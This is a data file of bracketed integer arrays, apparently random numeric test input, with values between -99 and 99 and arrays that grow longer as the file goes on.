3,-22,96,-11,-81,77,-64,-53,-87,81,-97,55,23,4,-38,-26,52,-93,69,-43,-31,-69,-29,24,8,89,1,-4,27,-15,10,-69,39,6,19,58,-17,31,81,-28,-10,83,-72,89,-12,-34,-36,-83,-28,-90,-26,40,-60,21,-58,25,10,19,-79,-86,-95,30,-56,43,-87,39,-22,-28,-52,-41,44,37,-80,48,3,-16,-86,43,0,-38,53,50,78,69,-29,96,-6,57,16,-8,71,20,98],[91,-60,-88,31,18,-17,55,53,-96,-31,72,51,71,-67,41,15,33,-97,-55,-17,58,-86,31,54,-15,-12,-30,76,-41,66,74,-49,-93,62,58,1,-77,13,-69,-74,81,80,54,52,-87,-28,-56,45,-25,-12,-94,-90,-21,36,63,63,-99,-66,16,-40,99,-33,-13,82,-93,-55,-40,-71,57,-9,-69,15,-29,84,-56,-17,-43,-12,-94,8,52,87,17,-69,0,-43,70,0,-10,-37,36,-33,7,-77,-74,13,-33,-14,41,-99,53,48,15,-76,33,36,-17,66,-76,-35,-49,75,-48],[44,83,28,-99,30,-71,-32,93,41,11,0,64,13,-87,-92,75,30,-91,28,-22,0,51,87,-64,-88,30,-64,-24,80,88,28,1,71,-67,-21,-22,-62,23,-29,79,-66,47,43,23,36,50,-1,-34,35,-73,21,-87,55,-15,-52,66,-84,-16,-58,72,-51,46,-26,-80,79,29,-3,-83,-48,45,72,-38,-8,15,84,-94,-57,-17,-52,54,10,68,66,-35,-46,-85,-69,-54,-25,-51,-82,23,95,-32,19,51,73,92,44,-75,14,17,-14,83,-68,-52,88,-49,30,-64,-94,-83,81,71],[-42,-88,62,-35,-43,-86,14,-49,36,-14,19,-68,-63,-8,-98,80,-6,15,-3,56,-2,6,-96,-14,33,11,-1,38,27,-20,-13,62,-9,-74,-73,47,-60,40,97,52,-97,-7,84,-61,62,85,96,-44,0,-30,88,75,52,92,-39,-14,-20,59,-99,-93,-84,-13,68,6,13,72,-70,52,-11,-95,4,-8,-3,-35,7,-64,-50,-20,-32,27,50,-43,2,2,-74,39,64,5,-24,65,-12,-9,-48,-43,74,41,-94,-96,-30,-6,84,51,85,-41,-84,-30,-6,-57,49,62,46,-24,95,-75,55],[-79,63,19,25,-61,-16,-87,7,13,-54,-42,-69,-49,-39,1,22,-77,-71,-16,-19,-79,53,74,-37,-20,13,85,55,8,-90,10,5,50,-93,-93,65,-10,-80,-28,79,-58,29,-89,-30,67,-12,68,89,-7,-48,-53,13,82,97,53,-38,11,38,93,95,25,-19,-22,-25,-13,-16,-60,53,-20,-11,33,22,-82,20,68,61,84,36,27,-23,87,73,89,46,71,42,-92,-41,-42,-98,-69,82,-18,8,-43,45,69,-27,-2,-51,61,-69,47,56,27,15,17,11,-72,-78,87,-84,71,77,61,42],[-4,46,77,53,24,85,12,82,-7,45,27,-61,-81,-75,-12,56,-67,-65,12,59,27,-93,-29,54,-72,-42,46,75,-88,8,18,8,-69,-28,-62,54,-43,27,13,27,-28,-60,65,-10,-59,-70,-76,-27,-35,35,-67,91,18,3,45,22,37,-8,-2,49,76,92,-66,83,-36,-52,14,-2,74,-73,-98,-53,-57,43,13,-17,73,36,56,-62,-51,65,-94,66,-32,27,-34,81,95,63,30,48,55,40,31,95,65,-78,-30,39,-52,-29,62,-10,-85,-47,50,87,65,-17,-98,-86,-52,-93,57,15,10],[99,-27,6,62,80,-46,-6,20,62,-11,-15,83,59,-98,-91,-70,40,-25,-79,92,-75,-92,58,7,85,48,31,68,-18,-77,-21,-19,-4,61,-57,-24,91,13,72,53,-97,-42,14,61,-64,22,67,75,73,65,68,75,49,3,-41,35,-49,90,3,10,-87,81,90,8,42,-89,60,11,23,33,-36,2,67,54,-60,-97,-47,84,54,-73,49,22,-98,-2,-98,-40,-90,-70,-73,13,39,-60,-29,6,24,90,16,-15,1,-83,-82,41,-5,84,-4,35,63,48,19,17,51,-32,-83,29,42,-82,66,52],[-53,92,-58,85,-91,-11,-31,33,-44,84,-82,33,77,-88,-25,-27,95,47,84,58,-28,3,-25,-99,47,-9,29,-34,-14,-5,94,32,-12,-87,-5,-4,2,63,-94,34,24,99,-32,-21,-89,19,28,82,-34,12,17,14,-85,69,14,38,-63,-56,-96,22,38,98,-68,-97,-89,26,-24,-11,-34,-19,-76,66,-19,-9,-55,-32,-90,72,-49,-48,-16,67,65,-25,13,-20,89,50,0,93,-28,-85,68,3,-82,55,-94,-7,-78,-29,50,-78,-85,-92,-11,-41,-24,-2,-91,3,26,-8,-30,-32,44,60,24,33,10],[-76,3,81,-61,-52,-38,-67,80,-56,25,78,-8,-48,99,6,-40,-12,64,12,62,72,-85,-12,-58,-16,32,62,-56,-43,-28,30,-20,52,-11,18,76,50,50,56,70,-48,11,-38,-19,10,44,40,74,9,-48,36,-42,-34,-99,-24,26,33,-85,47,89,-13,-46,-54,-84,42,64,91,-31,-9,25,-60,20,-64,-22,-99,46,-77,17,20,8,45,-66,42,87,-66,-81,-10,43,-90,-86,9,-4,-32,55,-12,-90,-4,-20,-21,86,-95,-5,-17,-60,72,-40,62,71,76,-40,-21,21,-30,-78,-15,-20,-83,75,-76,-74],[88,32,-1,-44,-13,63,-57,82,-57,21,46,-53,92,-94,-36,64,-34,-97,36,-58,-61,91,40,8,89,-75,65,-94,76,88,-91,65,-3,-16,97,61,-53,-60,20,-33,37,-34,-10,29,-51,30,-29,14,33,83,55,48,74,-28,-66,64,-26,98,46,-50,86,31,-85,-40,91,-87,-79,-84,-71,41,-18,66,83,71,-5,-68,2,65,45,-88,48,-22,36,0,49,69,-59,-77,44,86,-27,7,-5,-36,67,-37,-47,87,-22,-18,5,36,-52,-11,-15,42,20,63,-15,-57,74,-67,20,-13,9,-31,-66,49,-31,77,36],[18,-15,-92,81,-48,-30,-65,-84,25,16,21,-39,40,-90,45,-41,6,8,43,48,-41,53,-55,23,-38,-9,56,-88,59,33,24,-23,-82,31,-42,-54,77,-31,-38,2,61,82,40,1,91,-15,60,-26,70,-20,-77,-94,-67,-33,28,-28,57,-16,-17,-7,-82,-93,46,-88,14,81,-42,-32,-50,-4,47,88,-22,-13,-11,-54,48,-74,19,18,-17,18,1,15,62,-71,63,-4,-10,-54,89,-16,-71,35,-5,19,16,29,87,43,-75,34,31,-21,97,96,24,45,99,-56,-59,-18,38,41,73,0,46,37,96,-64,82,62],[-4,88,-3,68,7,90,-3,-29,33,-1,81,-59,77,78,-63,-21,24,-87,22,64,-6,-40,-18,-32,37,-72,81,33,-59,40,-5,36,28,68,4,-87,35,78,-17,-55,-23,-35,-15,-69,-57,-1,9,43,11,-92,-16,82,-55,65,-73,81,70,-92,-9,87,47,62,23,-24,7,-95,-12,-57,82,47,-13,-64,88,49,-34,-91,-75,52,51,12,59,-64,-6,-96,77,20,61,24,27,-71,11,-25,90,-65,27,-2,-61,91,17,97,38,80,-67,4,6,-2,12,30,-73,-37,-57,86,-25,13,66,-70,-66,28,53,37,33,-35,88],[24,-24,15,98,14,-17,15,11,98,-28,20,2,78,94,-86,8,-78,-47,27,-92,28,-59,50,57,-49,-45,10,64,88,51,53,12,-73,-55,-13,40,28,-98,-72,26,-27,47,-95,-72,42,-82,36,40,-30,-60,47,74,-43,-3,31,-16,29,-81,-51,17,69,78,-94,96,-77,-8,13,27,-7,18,-47,42,-58,-66,70,60,-49,-17,0,-2,-1,-76,-28,33,-2,80,-83,-73,98,-58,43,44,-80,48,40,-57,-83,-69,46,-14,25,99,-95,66,-90,51,27,-39,-66,-96,35,10,-72,-93,-80,2,86,-64,28,61,-45,-52,6,-26],[72,-77,-7,88,-70,-60,-26,54,-84,-22,21,-75,-70,-75,-38,-60,-95,96,26,-91,80,45,10,43,58,-62,-18,-87,-15,87,-37,-66,86,33,-78,-83,72,-28,47,64,50,-32,65,56,-31,-95,72,-49,-99,-1,-41,57,-56,69,1,78,-93,82,90,-31,46,-46,2,9,86,1,25,35,72,-27,-24,-1,17,-59,-68,63,-55,-95,-86,-77,-20,-28,79,0,-82,-43,-21,-75,-84,-31,-30,38,-1,48,-52,-38,-74,49,73,75,98,-51,-26,16,-33,-17,-44,11,-13,-54,33,43,17,-10,-57,35,23,21,36,16,67,82,-69,-34,30],[-45,5,33,-95,-45,8,-97,4,58,-5,70,-59,27,-42,4,72,68,-53,-33,-42,-10,78,57,-89,14,-50,54,-27,-19,97,-97,35,2,12,16,56,-80,-4,-63,78,90,-93,-81,18,-35,23,-33,-90,69,33,-33,-64,11,-99,-76,-75,-72,77,-26,-15,74,-46,-80,-24,65,13,-90,85,-91,-54,63,98,-70,81,-7,-29,-19,60,-20,-72,-7,23,-37,-95,0,-14,-94,27,-59,-20,-88,-85,33,-91,-32,-2,21,-46,-40,6,-24,-77,4,5,81,74,52,-61,11,-91,-34,80,8,6,61,-91,68,67,12,-91,-76,1,-76,33,-14,-32],[-92,-93,21,-32,12,96,-33,92,-21,-52,43,-69,-13,-46,-83,29,-88,24,-65,72,9,-96,16,-78,88,39,-1,88,-51,84,-44,-66,90,76,-22,-21,73,44,-52,-48,69,68,-41,-67,98,-25,61,-90,99,73,82,8,53,-2,6,41,-85,-95,30,-37,88,62,-4,55,39,73,-89,-11,-5,-64,40,-36,-96,75,-27,-98,-49,-66,88,-73,83,70,34,36,-32,-82,-45,-18,-78,84,22,87,46,94,19,-38,45,30,50,-60,42,-33,-20,45,-57,52,23,-7,62,11,19,46,-42,-70,-18,3,-76,13,61,-77,-3,-17,-90,-79,-45,28,-41],[99,-65,-90,-84,76,-47,-28,-2,-5,-76,98,87,85,-14,-17,8,44,-10,90,-53,13,-20,-92,35,77,-32,21,74,-1,-50,-90,-2,-39,-81,-10,-85,-51,61,-11,43,61,-36,8,46,50,67,-45,-29,-43,-78,-6,70,1,-22,5,-45,22,-73,-94,-79,-47,-84,-5,-10,-89,84,-19,-41,22,47,79,-17,-89,-13,-70,60,-46,-39,-92,-12,-41,1,-42,36,56,39,68,-22,42,50,-1,71,65,93,-61,53,55,19,88,-23,-34,44,60,-46,-69,66,90,-38,-96,98,49,-38,-24,83,74,-68,22,42,10,-58,-7,85,-87,-65,55,-49,64,10],[47,30,87,89,-26,24,-57,5,-33,-66,43,-30,-68,-8,8,-16,-25,-18,16,73,-98,-97,-85,-6,87,-95,5,42,-68,-30,-70,78,99,93,45,-27,17,87,54,83,-79,-26,-70,-71,65,37,-10,-83,-81,-94,67,-80,84,81,-10,71,62,95,-10,94,-58,-4,49,-59,-11,-6,-10,82,-18,-78,42,-21,-5,71,-15,-62,8,74,-69,27,56,97,23,40,56,-86,-12,18,85,54,-11,-73,-49,-61,-56,16,32,10,-1,90,31,-59,-53,-96,-87,8,-82,20,-18,-52,-76,-85,-77,47,54,78,37,-81,-27,22,72,62,25,99,-99,68,16,9,-45],[-85,0,86,-45,23,66,-56,-69,83,41,-11,-92,64,3,-70,-12,-66,84,-98,-71,-42,0,-99,96,-75,-99,96,69,-7,5,-75,7,81,87,38,-19,53,82,11,13,23,76,-3,-36,-44,4,52,-34,-12,53,-6,22,-46,-5,18,-45,-28,-9,-75,64,73,-51,-52,54,-64,85,-87,65,44,0,-45,-56,-23,51,8,9,-45,-63,75,20,66,-31,-58,96,40,37,-48,-88,-72,-47,52,-99,-22,76,32,13,62,44,-45,-17,-56,9,4,-3,-63,88,-93,-8,-98,58,88,67,-73,-93,41,67,43,69,55,71,-78,-15,48,-1,-39,-20,88,99,-99,-80],[-40,-78,5,63,18,41,51,1,-90,52,-64,97,-4,-37,-95,-86,-93,47,82,38,-5,80,-77,-56,-44,-16,0,-56,-40,1,-60,19,22,44,-18,-83,-14,-90,-5,-5,38,30,-30,-65,69,-26,-52,75,97,-92,14,-30,87,13,-10,-56,73,89,-36,-66,-33,-19,52,88,-75,-88,82,-13,-79,-46,59,59,83,-71,70,53,-21,94,5,-47,-98,95,22,66,9,-88,86,-18,78,-50,15,-55,30,-32,-89,32,-44,69,-81,-24,-77,77,-88,-94,82,81,35,-62,53,-59,-9,31,-64,89,-3,21,78,-17,-96,56,10,18,77,-83,62,64,48,-82,33,44,-29],[55,-2,-18,38,-42,-59,-50,-5,93,-10,85,24,3,52,98,-76,30,-42,-96,-37,44,-1,-83,61,-39,81,-14,-44,-9,-93,3,-53,5,84,61,62,-98,-89,-66,94,-22,96,-4,57,48,-29,57,-22,5,61,17,-50,-40,33,-89,-3,-9,-27,29,82,-20,-68,-94,61,93,66,0,94,53,33,66,-92,29,-61,64,-46,-14,22,31,90,-40,-75,-60,19,58,-73,92,-74,0,22,-92,56,53,-87,-6,23,78,93,18,9,3,-39,16,-90,-1,-42,-37,61,56,71,51,-84,95,91,11,30,94,3,56,-6,-75,63,-73,55,76,20,-22,31,-10,72,-83,70],[-67,33,79,8,67,-58,-31,23,-87,97,15,-91,88,-97,15,82,5,-29,-46,7,-88,-43,-61,64,54,-7,-28,-79,-34,-11,90,-25,98,69,60,42,-88,-94,-35,-99,-97,56,85,67,58,1,27,-60,48,57,46,59,90,61,0,44,-45,72,65,-3,-62,55,71,-64,2,8,77,13,-9,-81,-10,-30,74,-24,-85,9,76,41,48,24,-25,-28,-39,-35,-67,60,86,-13,32,51,83,69,-17,32,81,84,-83,35,-26,7,53,64,54,4,-60,68,89,92,-14,38,-7,60,-90,53,-98,-81,-9,87,6,-77,15,-34,69,98,97,27,59,91,-37,-66,-2,92,74],[-48,-26,90,96,-37,82,-18,-99,-25,-81,86,-94,-79,-94,-4,84,-12,-5,-23,53,-59,-25,28,68,-89,19,-92,-79,93,99,94,-77,-27,84,-81,13,43,-22,-10,95,-4,-46,-99,-7,-64,-27,-22,23,67,54,-47,85,-94,57,53,-84,-47,37,-86,-76,36,-92,-77,86,69,-59,-1,-11,-5,65,-16,91,-81,-39,-16,-46,33,38,76,-22,-31,-93,-37,-49,40,92,-56,93,29,-43,-83,-58,-59,-61,-72,-90,-44,3,-1,28,-31,59,19,-36,-79,79,18,30,-5,-29,-92,63,-23,-53,91,-82,-84,-65,87,44,-9,80,63,31,95,67,18,-72,-29,93,55,16,52,-49],[79,72,-69,-3,-20,2,45,-36,-58,98,11,-67,92,3,-33,79,-75,34,36,87,-57,31,54,37,59,-98,30,-9,17,-41,42,-26,-68,72,47,-12,-49,-8,51,-8,-9,-61,25,-17,42,68,-60,66,-20,75,53,-1,7,7,-64,-57,9,42,33,-97,-99,-25,-24,-91,-76,-99,-4,-26,-8,-52,66,59,-14,-32,-80,-72,-87,-41,70,-8,-66,23,67,17,-92,-97,36,-7,21,-30,-5,22,21,48,30,45,25,-96,95,-83,-49,38,53,13,82,72,18,95,-92,-12,-36,-59,88,-68,35,72,-89,-29,-35,32,17,36,-69,-61,-39,60,60,85,63,32,79,90,-29,32,4],[-70,-19,98,-75,-12,-14,-34,5,-26,-3,-60,-77,-16,-12,-13,-84,-95,-99,-54,-80,-39,83,56,-53,23,-11,-74,-9,36,34,94,65,-85,92,67,2,-45,-67,-93,6,6,-76,28,89,11,92,82,-8,92,-72,-11,-47,87,-55,-24,-12,33,1,78,-31,-88,72,-88,-74,41,78,27,72,-89,11,-22,16,34,-93,5,-55,98,-36,13,67,-31,-98,-80,-44,-76,-4,43,56,73,21,-97,85,-30,-86,87,87,91,15,60,78,-74,-62,-6,36,-79,75,57,95,-60,-30,62,8,-51,59,40,-28,-68,-39,-72,81,58,-93,66,-71,96,31,92,64,-54,52,42,-52,67,-87,83,64],[88,40,37,-95,86,-24,-11,-65,-65,-71,6,-57,-11,11,-75,-52,-6,90,-47,-9,-2,-78,-45,43,74,97,67,18,86,27,-41,74,-33,95,55,-69,-51,-56,-35,-40,-50,48,3,15,-64,27,39,29,-6,91,96,92,-86,-71,35,64,-97,-20,-41,88,-93,-6,63,-49,-33,-5,-19,15,39,22,74,65,-30,-23,-20,-18,-96,-80,88,-25,87,84,-33,77,-87,78,18,-85,-42,53,-96,-35,-52,43,-8,14,-62,72,-94,53,-29,79,-5,18,-66,75,99,-86,71,87,-12,35,49,54,-10,61,33,-92,53,67,61,33,-91,85,-47,0,-24,-10,-51,-19,-79,20,-63,-8,-62,-53,-56],[-86,-39,-85,-98,25,27,50,-20,-83,-12,89,-99,-82,33,38,50,42,23,-97,-81,98,-30,-32,-44,-33,64,-30,58,78,16,79,91,76,93,92,-21,-3,19,58,13,84,24,14,-98,-43,-48,29,75,52,8,94,27,54,-61,83,97,-97,-47,33,80,45,12,71,22,5,41,-99,79,-63,35,-8,-79,-64,82,99,-31,-88,5,-55,63,-87,-61,-10,44,-46,-50,41,-44,-21,-26,-87,-75,85,60,23,-32,1,0,-53,38,-65,15,35,-53,-25,11,15,-14,-84,59,-51,-94,74,15,49,-72,42,-33,-40,-79,18,-28,-78,3,-67,44,47,10,-56,70,-75,-45,-14,37,1,60,-52,93],[-54,-36,52,-29,-54,4,62,94,31,-19,-62,68,2,55,-83,0,-41,-74,-55,82,36,-35,53,37,-3,-84,-26,74,75,22,67,97,62,-3,-55,-92,-99,83,78,8,-35,-84,-47,43,71,-30,-57,-93,-5,-36,65,-69,29,18,45,-74,33,-81,99,-15,17,44,-18,-21,-59,3,-37,-82,-13,-59,2,51,-66,55,-29,81,-75,13,87,19,77,29,27,-17,-52,-51,-15,57,-33,-39,-57,61,-95,1,-83,-55,-95,-20,-61,-32,-3,41,95,30,-27,-34,11,-26,78,-25,69,32,-95,-4,91,-71,21,-24,85,88,37,-72,26,18,6,42,40,10,98,78,77,-27,-4,72,-97,45,-85,-9,-81],[69,42,88,2,23,-39,-30,51,82,23,37,47,-63,41,-27,54,-53,91,-6,33,67,-50,-13,-60,45,-64,-81,-9,-50,9,-14,-80,-71,-26,-2,51,35,67,3,17,-33,-83,-59,3,34,13,-42,58,-19,51,-9,-52,77,55,-13,23,90,6,90,-59,91,-24,-63,-80,27,34,48,-38,-22,-72,55,45,-56,95,-52,54,-15,-18,12,65,-89,80,-86,87,12,-23,10,2,82,-23,19,51,30,32,47,-43,-34,-5,-5,21,22,-73,-34,42,-78,-10,-3,-17,72,85,-52,82,65,-62,69,-23,15,-43,56,-26,10,-48,-75,-60,84,72,-27,-73,-33,67,47,89,93,89,8,91,-20,-95,-26,-71],[90,-1,-89,32,36,56,86,-49,-87,19,25,0,70,26,39,31,-2,-87,58,42,56,5,8,27,-5,-84,-5,51,-79,69,79,87,-55,89,-4,57,45,-18,-91,35,-99,10,-65,48,-87,50,-21,11,39,-63,-47,-4,19,37,99,90,52,-6,41,49,-60,20,36,-16,9,-67,-58,-69,-9,-73,42,-8,13,53,-83,25,4,-28,-87,-57,9,-58,15,-95,78,14,94,31,85,35,-20,-75,-45,-83,-14,40,-74,27,47,16,30,-33,84,-57,-80,-99,44,0,-27,57,20,58,98,-88,39,77,26,33,-15,-12,-55,64,12,-24,57,97,92,59,1,39,-24,-92,82,-63,-50,-97,-62,71,-21,-13,5],[98,-78,3,-89,60,-43,13,-30,18,-99,14,-17,-11,66,-83,-36,58,76,64,-26,-71,72,-43,-35,98,-64,-21,46,14,65,-49,-10,63,31,-23,23,64,89,69,-17,66,-17,42,-68,-51,35,-5,83,11,-63,-42,16,85,-9,81,60,26,-40,7,-83,-97,34,6,65,-35,82,-34,-93,48,-65,-11,-9,-5,-92,0,20,42,94,4,-69,-92,38,46,92,-71,4,53,54,64,-63,47,43,70,-69,8,-87,89,50,-81,38,85,-16,-94,-43,-9,5,76,-90,-23,-20,-60,-39,-82,63,-46,-77,-33,83,76,-92,96,1,50,43,31,-64,55,20,85,50,-65,47,-89,-59,-96,-22,22,80,-12,75,-63,4],[-63,-68,-33,-33,-46,11,-73,-92,18,-77,8,-54,42,-61,-19,-2,58,-57,-75,93,90,-64,-89,93,13,9,50,77,-38,87,-18,-2,-81,25,41,-28,-87,67,-21,31,66,63,53,8,-98,-66,82,37,-24,84,30,-57,-80,17,-63,9,-97,86,-13,-36,50,45,38,68,-53,-21,-82,-40,-77,-27,67,65,-63,20,-49,-62,53,-67,51,-94,93,-42,-51,89,74,-38,-1,77,-52,62,-82,98,7,56,43,53,-88,60,-87,-65,-66,79,76,-30,-1,-73,-16,-71,-63,-64,-88,-70,-7,-40,-80,-55,21,18,98,45,-43,-84,20,63,48,-36,-7,60,-99,-17,94,-89,-38,70,-43,38,74,41,43,-89,53,54,-60],[-77,90,-64,-56,-12,30,-81,-66,86,-65,30,26,82,93,-80,19,71,2,13,81,40,-39,-61,-45,-65,56,98,-78,-14,29,-62,-15,20,-26,6,-92,80,24,-82,67,35,48,-30,-5,18,-11,-86,-11,67,4,-29,-15,64,-14,39,75,-81,14,73,4,-56,-89,65,40,-39,-29,24,-58,95,42,85,30,-33,-68,-75,84,-2,-61,-49,-35,42,21,26,-17,83,-34,-65,-98,79,-92,-18,99,94,-53,16,-44,18,-59,-26,13,59,-64,-57,-74,-33,-55,-90,64,-17,-40,-93,-98,57,32,-16,17,97,-5,-5,54,2,76,30,-4,-76,-53,28,41,-13,-98,-69,-54,-63,-50,-52,-19,-6,-66,-55,53,-29,-49,31,-95],[60,91,22,57,-14,-83,-12,87,70,-81,-39,93,-35,88,11,28,90,18,50,-96,67,97,-16,-61,-92,6,68,-22,33,0,-17,-7,-9,81,-72,54,97,15,41,44,10,78,37,51,67,-75,-44,34,42,-94,14,-13,79,98,25,87,-19,-30,-35,-86,69,24,-16,-62,5,11,91,-20,-97,9,-76,-10,-12,38,-59,-68,62,-3,65,-18,-21,-21,45,-41,-46,-53,-77,34,16,-36,25,-14,88,85,0,-30,-4,-9,49,-25,76,50,64,-36,-12,82,-5,-73,-44,-63,-15,34,16,-70,69,46,-24,68,-42,92,-67,82,-45,97,44,54,-33,-60,-78,93,-9,97,43,-44,-61,-92,-62,33,-66,-7,70,-4,-96,-37,25],[73,-91,-98,41,-34,70,50,-75,-75,47,68,55,-85,84,76,-92,-24,50,27,31,88,34,45,-1,44,-85,-31,-60,94,31,42,44,16,20,-14,82,-10,-87,-93,-9,60,52,-77,51,36,75,35,-88,25,-38,19,-9,95,-59,89,16,-68,-65,33,-73,42,-25,70,-42,71,-67,-83,-62,-54,-99,28,82,52,50,33,-12,2,-32,-23,-73,29,72,-6,1,-86,-17,93,-55,17,26,-29,-41,77,-58,17,48,-49,33,85,-4,10,-10,-22,-38,-83,-89,50,18,-45,-96,22,83,75,-84,-39,88,-1,-45,-89,92,57,-42,-48,35,-24,45,-40,27,-45,-54,-77,65,35,-22,-73,29,-12,53,-53,43,33,45,3,9,61,41],[-26,-40,95,-16,-71,29,42,-20,-36,-82,-98,24,21,-43,46,44,98,-42,-78,-75,86,-14,55,-66,-94,-12,78,-14,73,16,-73,-52,52,98,31,81,27,-50,-62,91,-55,-60,-8,65,-4,-62,-14,-6,-5,-16,-5,-18,70,-73,-8,52,15,-53,-62,-35,63,-36,12,-8,-61,-79,-27,66,-53,11,34,-9,50,-74,-66,-77,-60,-4,-7,34,80,64,92,27,91,-39,-21,-17,-15,-6,47,-75,34,-63,16,73,-43,66,16,3,-23,-50,71,-96,-48,81,-97,-9,-23,-28,-98,-66,-64,71,37,-96,-68,-83,-37,-7,10,-89,17,-56,-76,-66,93,-20,99,9,59,-47,58,30,-67,86,-12,-65,-46,65,6,-67,75,18,-96,13,22],[-88,6,84,5,92,71,-78,-87,94,-68,-93,-26,-69,-8,-66,-40,-72,40,-8,-86,-71,26,-32,70,-91,0,45,27,-20,-65,-51,-9,17,-67,72,9,81,71,22,75,-97,5,-73,-66,96,-63,-7,-76,53,85,-85,81,-12,-18,28,-3,58,-49,-76,-85,-15,-28,-18,-97,-19,-45,-12,-61,-74,-90,91,-72,-9,-82,-62,-12,-69,8,-12,60,-30,2,42,57,60,-53,-69,-5,-3,-46,9,59,2,68,38,60,99,-74,98,-75,-87,89,-71,-20,83,-56,67,90,28,-67,51,97,34,-30,31,-28,16,39,66,90,92,-47,26,-28,-79,-36,-68,-80,-34,-93,-79,-45,73,-74,35,56,-31,-21,24,73,11,-25,70,-77,21,-21,-6,-86],[-82,-40,-96,86,-11,29,-42,9,69,-34,28,-64,-50,25,-33,-77,51,-98,55,96,-42,-21,70,45,30,17,67,-72,72,-62,-58,89,-25,-78,53,63,28,-89,-27,-3,-46,77,9,-20,-20,76,2,-69,54,-66,-96,-88,-10,73,57,96,-32,1,-75,-60,39,-57,-70,-86,-36,82,76,91,69,-74,-34,99,80,74,-21,-40,50,57,-10,5,68,-30,-7,-42,-56,-50,-69,11,28,-45,50,-33,-26,56,-20,38,15,-67,6,-38,-41,71,-62,-84,46,17,-25,-27,-49,41,54,-81,-89,-52,-47,-46,-26,-16,41,-98,15,-31,-55,89,-98,1,4,17,34,-90,55,69,58,92,84,4,-14,-41,53,14,76,8,9,86,32,62,-82,82,-77],[35,61,37,-96,-94,3,-94,7,-93,-1,-82,93,-69,63,51,-77,47,-45,9,82,84,99,58,-8,8,21,-99,-30,38,83,-31,-26,21,-93,-46,26,-14,-64,-90,-7,11,-96,-14,41,66,-63,64,-10,-32,-50,-51,-48,-51,83,21,33,5,-2,-96,-80,-19,-28,-7,78,-45,24,5,41,59,-9,-89,-29,-28,-4,-88,-85,9,52,5,76,78,30,-95,-96,14,2,37,95,-99,17,91,-42,65,-38,-63,97,85,18,38,44,-91,25,-85,-43,-79,-96,-28,6,32,53,-18,11,-17,-37,-9,73,65,-72,45,42,44,37,99,-13,98,-64,-16,83,30,98,4,16,23,-4,72,43,-1,-56,-51,-92,96,7,18,-43,46,-90,-70,-12,-86,52],[-70,35,-11,-93,-78,-13,-58,5,-53,72,3,50,-35,-74,-54,-63,45,21,-19,70,29,-46,-46,-76,10,76,-67,17,-35,-76,-31,-29,58,34,-23,79,97,19,-39,-56,-32,40,70,32,42,-83,45,-36,14,-74,-89,-57,-43,-36,-56,43,-83,-24,-40,-19,-24,5,52,-66,-61,-71,89,-87,24,-50,-44,68,89,-73,-23,8,-80,99,71,10,-98,81,53,-42,-55,96,-98,-61,-51,-62,19,25,20,-52,35,58,-46,25,71,54,51,-96,0,18,-93,76,-74,-97,75,97,13,77,78,-34,-88,-99,-61,89,-61,-36,-72,34,65,47,59,-22,-18,-87,-97,-70,66,30,-66,-34,-52,-83,-80,-26,-80,71,-52,32,25,-74,74,37,-97,89,26,-59,-70],[30,52,95,-23,11,-27,36,23,-48,65,-34,58,75,9,-93,69,28,-43,88,-24,4,-3,78,6,-52,15,9,-86,-82,26,-57,25,-22,-85,78,88,-13,14,-12,15,-43,54,-26,-91,-37,-43,77,67,13,42,-80,93,-61,97,-1,-14,-11,84,-1,-16,11,19,-91,88,33,86,54,97,-22,-58,12,34,72,62,42,-65,95,-3,78,-15,-61,98,-22,-22,72,54,40,-38,15,-83,45,-74,12,53,91,-55,16,45,-58,93,63,31,4,36,-7,-76,47,-34,20,26,50,58,1,-94,-87,-27,59,30,11,-26,23,-44,-23,-65,-91,-32,-21,2,89,-2,-5,29,-71,76,-35,-2,99,-87,63,-4,15,14,-69,92,19,-79,-58,-45,27,53,5,-50],[-91,81,-39,94,-74,39,-4,91,-86,67,21,-58,20,85,40,-4,74,-20,91,-34,70,99,-65,-11,-80,-23,20,46,-93,-74,72,-85,83,-67,85,86,48,-42,77,62,-74,-25,80,45,-39,-3,-58,-88,77,-90,-45,47,-91,-11,-86,-95,42,10,27,48,35,-1,40,-4,8,25,-18,-43,83,-41,95,85,34,75,7,71,-27,48,59,-73,35,90,73,20,-43,63,2,98,-26,-71,47,85,5,-13,-19,-87,88,62,-54,71,98,-82,56,9,70,-36,-43,-57,88,92,-54,0,83,-81,-79,-60,59,22,-85,-67,27,38,94,-68,-98,-24,-78,90,-85,-56,61,89,-38,-5,-25,-68,35,8,-49,23,1,-4,-76,-39,-9,-79,-23,-50,19,-32,-41,-54,-93],[-69,-45,-92,6,-24,97,-3,-4,36,-36,57,-69,38,65,65,-53,-84,-35,24,11,-35,61,79,-15,-85,-94,80,-18,-58,-73,-35,-28,-42,-27,54,10,-53,-49,-94,59,-9,63,66,-93,5,8,-47,21,73,53,-91,-85,-9,64,-23,5,70,-43,63,-88,-40,-71,-40,17,-22,-86,-73,24,-59,-90,-16,32,49,-50,38,-46,58,67,51,8,-3,37,22,64,1,98,-31,-29,-44,-91,-41,-8,-63,18,-90,14,8,-87,-84,49,98,-24,-42,47,25,72,-98,-40,39,29,67,-87,-34,-33,76,67,-35,-78,-85,-3,-70,-26,89,-56,68,75,34,-23,64,26,-97,63,-98,-40,-13,4,-68,-35,63,47,94,8,36,-40,74,12,-73,-84,10,-58,-10,16,-8,-21],[59,-40,-69,-29,13,71,96,15,11,75,74,98,-21,82,-37,-58,29,-43,26,-35,17,0,53,20,-7,-37,38,82,79,-70,-62,15,-33,-55,62,79,-84,36,-5,27,11,-31,2,89,-48,64,-92,57,-78,34,99,15,-89,52,-88,3,92,50,-38,48,56,-24,-37,-77,20,-97,-97,13,38,-26,-83,-51,19,18,-85,47,-18,-78,5,-20,55,4,71,66,-67,83,-54,-75,10,-15,49,-34,60,89,-11,-42,91,-32,70,29,41,86,54,-40,-19,68,-92,39,89,-11,-80,22,69,67,-12,-98,50,10,-96,-63,94,52,3,32,41,91,89,9,-64,36,-62,76,-1,68,-87,79,36,-80,18,3,8,14,-75,-23,-41,-11,-44,85,75,-64,-77,47,64,25,-21],[-17,-7,-32,91,28,80,-93,-19,-21,74,-7,-42,-12,13,52,67,97,-56,91,-48,2,-43,-16,-13,-68,19,9,78,-17,-66,-66,65,26,-22,34,-69,-42,40,11,36,14,-95,70,78,-6,0,45,-32,43,13,-4,-55,69,79,31,78,-2,-82,33,58,-72,67,0,31,-55,-66,61,3,73,-50,-84,-35,-69,63,-80,24,-37,65,68,-94,-22,-35,-73,-75,-79,34,-97,19,51,35,-46,79,-21,30,-13,24,64,-52,-96,14,-3,95,55,27,58,75,-72,97,17,73,-97,71,-62,-94,95,-42,40,74,53,-32,-13,83,-76,65,14,10,-34,-22,35,-54,68,-91